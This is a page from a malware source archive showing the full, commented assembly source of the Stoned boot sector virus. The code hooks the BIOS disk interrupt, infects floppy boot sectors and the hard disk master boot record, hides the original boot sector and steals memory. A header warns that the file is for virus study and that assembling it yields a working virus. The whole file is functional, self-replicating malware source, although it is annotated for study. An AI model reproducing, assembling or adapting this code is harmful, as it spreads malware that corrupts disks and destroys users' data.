MalwareSourceCode/MSDOS/S-Index/Virus.MSDOS.Unknown.stoned.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

533 lines
20 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

TITLE STONBOOT 1-4-80 [5-12-90]
PAGE 27,132
;*****************************************************************************
;
; *** NOT FOR GENERAL DISTRIBUTION *** The Stoned Virus
;
; This file is for the purpose of virus study only! It should not be passed
; around among the general public. It will be very useful for learning
; how viruses work and propagate. But anybody with access to an assembler
; can turn it into a working virus and anybody with a bit of assembly coding
; experience can turn it into a far more malevolent program than it already
; is. Keep this code in reasonable hands!
;
; This is a boot sector virus, and an extremely tiny one. It occupies only a
; single sector. On a diskette, it resides in the boot sector, and on a hard
; disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
; diskette by copying the real boot sector to side 1, track 0, sector 3. This
; is the last sector used by the directory, and is usually not used. If the
; directory ever does expand into this area, then the real boot sector will be
; trashed, and the diskette will no longer be bootable. Once the boot sector
; is copied to the directory area, this code goes into the boot sector space
; at side 0, track 0, sector 1. The system is then transferred to the diskette
; and the diskette contains an activated virus. Once this diskette is used to
; boot up a system, it will become resident and infect other diskettes it
; sees. If the system contains a hard drive, it too will become infected.
;
; This virus does not contain any time bomb, but it can cause loss of data by
; wrecking a directory here or there.
;*****************************************************************************
LF EQU 0AH
CR EQU 0DH
XSEG SEGMENT AT 07C0h
ORG 5
NEWSEG LABEL FAR
XSEG ENDS
CODE SEGMENT
ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
ORG 0
;*****************************************************************************
; Execution begins here as a boot record. This means that its location and
; CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
; a change in CS:IP so that CS is 07C0. The following two JMPs, and the
; segment definition of XSEG above are best not tampered with.
;*****************************************************************************
JMP FAR PTR NEWSEG ;This is exactly 5 bytes long. Don't change it
;The above line will jump to here, with a CS of 07C0 and an IP of 5
JMP JPBOOT ;Jump here at boot up time
;*****************************************************************************
; The following offsets:
; D_TYPE
; O_13_O
; O_13_S
; J_AD_O
; J_AD_S
; BT_ADD
; will be used to access their corresponding variables throughout the code.
; They will vary in different parts of the code, since the code relocates
; itself and the values in the segment registers will change. The actual
; variables are defined with a leading underscore, and should not be used. As
; the segment registers, and the offsets used to access them, change in the
; code, the offsets will be redefined with "=" operators. At each point, the
; particular segment register override needed to access the variables will be
; given.
;
; In this area, the variables should be accessed with the CS: segment override.
;******************************************************************************
D_TYPE = $ ;The type of disk we are booting from
_D_TYPE DB 0
OLD_13 EQU $
O_13_O = $ ;Old INT 13 vector offset
_O_13_O DW ?
O_13_S = $ ;Old INT 13 vector segment
_O_13_S DW ?
JMP_ADR EQU $
J_AD_O = $ ;Offset of the jump to relocated code
_J_AD_O DW OFFSET HI_JMP
J_AD_S = $ ;Segment of the jump to the relocated code
_J_AD_S DW ?
BT_ADD = $ ;Fixed address 0:7C00. Jump addr to boot sector
_BT_ADD DW 7C00h ;Boot address segment
DW 0000h ;Boot address offset
;**********************************************************
; The INT 13H vector gets hooked to here
;**********************************************************
NEW_13: PUSH DS
PUSH AX
CMP AH,2
JB REAL13 ;Restore regs & do real INT 13H
CMP AH,4
JNB REAL13 ;Restore regs & do real INT 13H
;*****************************************************************
; We only get here for service 2 or 3 - Disk read or write
;*****************************************************************
OR DL,DL
JNZ REAL13 ;Restore regs & do real INT 13H
;*****************************************************************
; And we only get here if it's happening to drive A:
;*****************************************************************
XOR AX,AX
MOV DS,AX
MOV AL,DS:43FH
TEST AL,1 ;Check to see if drive motor is on
JNZ REAL13 ;Restore regs & do real INT 13H
;******************************************************************
; We only get here if the drive motor is on.
;******************************************************************
CALL INFECT ;Try to infect the disk
;******************************************************************
; Restore regs & do real INT 13H
;******************************************************************
REAL13: POP AX
POP DS
JMP DWORD PTR CS:OLD_13
;**************************************************************
;*** See if we can infect the disk ***
;**************************************************************
INFECT PROC NEAR
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ;We'll try up to 4 times to read it
;***************************************************************
; Loop to try reading disk sector
;***************************************************************
RDLOOP: MOV AX,201H ;Read one sector...
PUSH CS
POP ES
MOV BX,200H ;...into a space at the end of the code
XOR CX,CX
MOV DX,CX ;Side 0, drive A
INC CX ;Track 0, sector 1
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do the old INT 13
JNB RD_OK ;Disk read was OK
XOR AX,AX
PUSHF
CALL DWORD PTR CS:OLD_13 ;Reset disk
DEC SI ;Bump the counter
JNZ RDLOOP ;Loop to try reading disk sector
JMP SHORT QUIT ;Close up and return if all 4 tries failed
NOP
;******************************************************************************
; Here if disk read was OK. We got the boot sector. But is it already infected?
; Find out by comparing the first 4 bytes of the boot sector to the first 4
; bytes of this code. If they don't match exactly, infect the diskette.
;******************************************************************************
RD_OK: XOR SI,SI
MOV DI,200H
CLD
PUSH CS
POP DS
LODSW
CMP AX,[DI]
JNZ HIDEIT ;Hide floppy boot sector in directory
LODSW
CMP AX,[DI+2]
JZ QUIT ;Close up and return
;************************************************************
; Infect - Hide floppy boot sector in directory
;************************************************************
HIDEIT: MOV AX,301H ;Write 1 sector
MOV BX,200H ;From the space at the end of this code
MOV CL,3 ;To sector 3
MOV DH,1 ;Side 1
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do the old INT 14
JB QUIT ;Close up and return if failed
;******************************************************************
; If write was sucessful, write this code to the boot sector area
;******************************************************************
MOV AX,301H ;Write 1 sector ...
XOR BX,BX ;...of this very code...
MOV CL,1 ;...to sector 1...
XOR DX,DX ;...of Side 0, drive A
PUSHF
CALL DWORD PTR CS:OLD_13 ;Do an old INT 13
; ***NOTE*** no test has been done for a sucessful write.
;***************************************************************
; Close up and return
;***************************************************************
QUIT: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
INFECT ENDP
;****************************************************************
;*** Jump here at boot up time
;****************************************************************
;*****************************************************************************
; Redefine the variable offsets. The code here executes in the memory area
; used by the normal boot sector. The variable offsets have an assembled
; value of the order 7Cxx. Access them here through the DS: segment override
;*****************************************************************************
D_TYPE = 07C00h + OFFSET _D_TYPE
O_13_O = 07C00h + OFFSET _O_13_O
O_13_S = 07C00h + OFFSET _O_13_S
J_AD_O = 07C00h + OFFSET _J_AD_O
J_AD_S = 07C00h + OFFSET _J_AD_S
BT_ADD = 07C00h + OFFSET _BT_ADD
JPBOOT: XOR AX,AX
MOV DS,AX ;DS = 0
;*********************************************************
; Set up a usable stack
;*********************************************************
CLI
MOV SS,AX ;SS = 0
MOV SP,OFFSET 7C00H ;Position stack at 0000:7C00
STI
;*********************************************************
; Capture the INT 13 vector (BIOS disk I/O)
;*********************************************************
MOV AX,DS:4CH ;Offset for old INT 13 vector
MOV DS:O_13_O,AX ;Save the offset
MOV AX,DS:4EH ;Segment for old INT 13 vector
MOV DS:O_13_S,AX ;Save the segment
;*****************************************************************************
; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
; stealing an odd number of K would result in an odd number shown available
; when a CHKDSK is run. This might be too obvious. Or the programmer may have
; had other plans for the memory.
;*****************************************************************************
MOV AX,DS:413H ;BIOS' internal count of available memory
DEC AX
DEC AX ;Drop it by 2K ...
MOV DS:413H,AX ;...and store it (steal it!!)
;*********************************************************
; Find the segment of the stolen memory
;*********************************************************
MOV CL,6
SHL AX,CL
MOV ES,AX
;*********************************************************
; Use the segment of the stolen memory area
;*********************************************************
MOV DS:J_AD_S,AX ;Becomes part of a JMP address
MOV AX,OFFSET NEW_13
MOV DS:4CH,AX ;Offset for new INT 13
MOV DS:4EH,ES ;Segment for new INT 13
;****************************************************************
;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
;****************************************************************
MOV CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
PUSH CS
POP DS ;DS = CS
XOR SI,SI
MOV DI,SI ;All offsets of block move areas are 0
CLD
REPZ MOVSB ;Copy each byte of code to the top of memory
JMP DWORD PTR CS:JMP_ADR ;JMP to the transferred code...
;**************************************************************
; ...and we'll jump right here, to the transferred code
;**************************************************************
;****************************************************************************
; Redefine variable offsets again. This code executes at the top of memory,
; and so the exact value of the segment registers depends on how much memory
; is installed. The variable offsets have an assembled value of the order of
; 00xx. They are accessed using the CS: segment override
;****************************************************************************
D_TYPE = OFFSET _D_TYPE
O_13_O = OFFSET _O_13_O
O_13_S = OFFSET _O_13_S
J_AD_O = OFFSET _J_AD_O
J_AD_S = OFFSET _J_AD_S
BT_ADD = OFFSET _BT_ADD
HI_JMP: MOV AX,0
INT 13H ;Reset disk system
;**********************************************************************
; This will read one sector into 0000:7C00 (the boot sector address)
;**********************************************************************
XOR AX,AX
MOV ES,AX
MOV AX,201H ;Read one sector
MOV BX,OFFSET 7C00H ;To boot sector area: 0000:7C00
CMP BYTE PTR CS:D_TYPE,0 ;Booting from diskette or hard drive?
JZ DISKET ;If booting from a diskette
;******************************************************
; Booting from a hard drive
;******************************************************
MOV CX,7 ;Track 0, sector 7
MOV DX,80H ;Hard drive, side 0
INT 13H ;Go get it
; ***NOTE** There was no check as to wether or not the read was sucessful
JMP SHORT BOOTUP ;Go run the real boot sector we've installed
NOP
;******************************************************
; Booting from a diskette
;******************************************************
DISKET: MOV CX,3 ;Track 0, sector 3
MOV DX,100H ;A drive, side 1 (last sector of the directory)
INT 13H ;Go get it
JB BOOTUP ;If read error, run it anyway.(???) (A prank?)
;****************************************************************
;Wether or not we print the "Stoned" message depends on the value
; of a byte in the internal clock time -- a fairly random event.
;****************************************************************
TEST BYTE PTR ES:46CH,7 ;Test a bit in the clock time
JNZ GETHDB ;Get Hard drive boot sector
;**************************************************************
; Print the message
;**************************************************************
MOV SI,OFFSET S_MSG ;Address of the "stoned message"
PUSH CS
POP DS
;**************************************************************
; Loop to print individual characters
;**************************************************************
PRINT1: LODSB
OR AL,AL ;A 00 byte means quit the loop
JZ GETHDB ;Get Hard drive boot sector, then
;**************************************************************
; Not done looping. Print another character
;**************************************************************
MOV AH,0EH
MOV BH,0
INT 10H
JMP SHORT PRINT1 ;Print a character on screen
;**************************************************************
; Get Hard drive boot sector
;**************************************************************
GETHDB: PUSH CS
POP ES
MOV AX,201H ;Read one sector...
MOV BX,200H ;...to the buffer following this code...
MOV CL,1 ;...from sector 1...
MOV DX,80H ;...side 0, of the hard drive
INT 13H
JB BOOTUP ;If error, assume no hard drive
; So go run the floppy boot sector
;***************************************************************************
; If no read error, then there really must be a hard drive. Infect it. The
; following code uses the same trick above where the first 4 bytes of the
; boot sector are compared to the first 4 bytes of this code. If they don't
; match exactly, then this hard drive isn't infected.
;***************************************************************************
PUSH CS
POP DS
MOV SI,200H
MOV DI,0
LODSW
CMP AX,[DI]
JNZ HIDEHD ;Hide real boot sector in hard drive
LODSW
CMP AX,[DI+2]
JNZ HIDEHD ;Hide real boot sector in hard drive
;**************************************************************
; Go run the real boot sector
;**************************************************************
BOOTUP: MOV BYTE PTR CS:D_TYPE,0
JMP DWORD PTR CS:BT_ADD
;**************************************************************
; Infect - Hide real boot sector in hard drive
;**************************************************************
HIDEHD: MOV BYTE PTR CS:D_TYPE,2 ;Mark this as a hard drive infection
MOV AX,301H ;Write i sector...
MOV BX,200H ;...from the buffer following this code...
MOV CX,7 ;...to track 0, sector 7...
MOV DX,80H ;...side 0, of the hard drive...
INT 13H ;Do it
JB BOOTUP ;Go run the real boot sector if failed
;**************************************************
; Here if the boot sector got written successfully
;***************************************************
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,3BEH ;Offset of disk partition table in the buffer
MOV DI,1BEH ;Copy it to the same offset in this code
MOV CX,242H ;Strange. Only need to move 42H bytes. This
; won't hurt, and will overwrite the copy of
; the boot sector, maybe giving a bit more
; concealment.
REPZ MOVSB ;Move them
MOV AX,301H ;Write 1 sector...
XOR BX,BX ;...of this code...
INC CL ;...into sector 1
INT 13H
; ***NOTE*** no check for a sucessful write
JMP BOOTUP ;Now run the real boot sector
S_MSG DB 7,'Your PC is now Stoned!',7,CR,LF
DB LF
;*************************************************************************
; Just garbage. In one version, this contained an extension of the above
; string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
;*************************************************************************
DB 0,4CH,45H,47H,41H
DB 4CH,49H,53H,45H,67H
DB 2,4,68H,2,68H
DB 2,0BH,5,67H,2
END_BYT EQU $ ;Used to determine the size of the code. It
; must be less than 1BE, or this code is too
; large to be used to infect hard disks. From
; offset 1BE and above, the hard disk partition
; table will be copied, and anything placed
; there will get clobbered.
CODE ENDS
END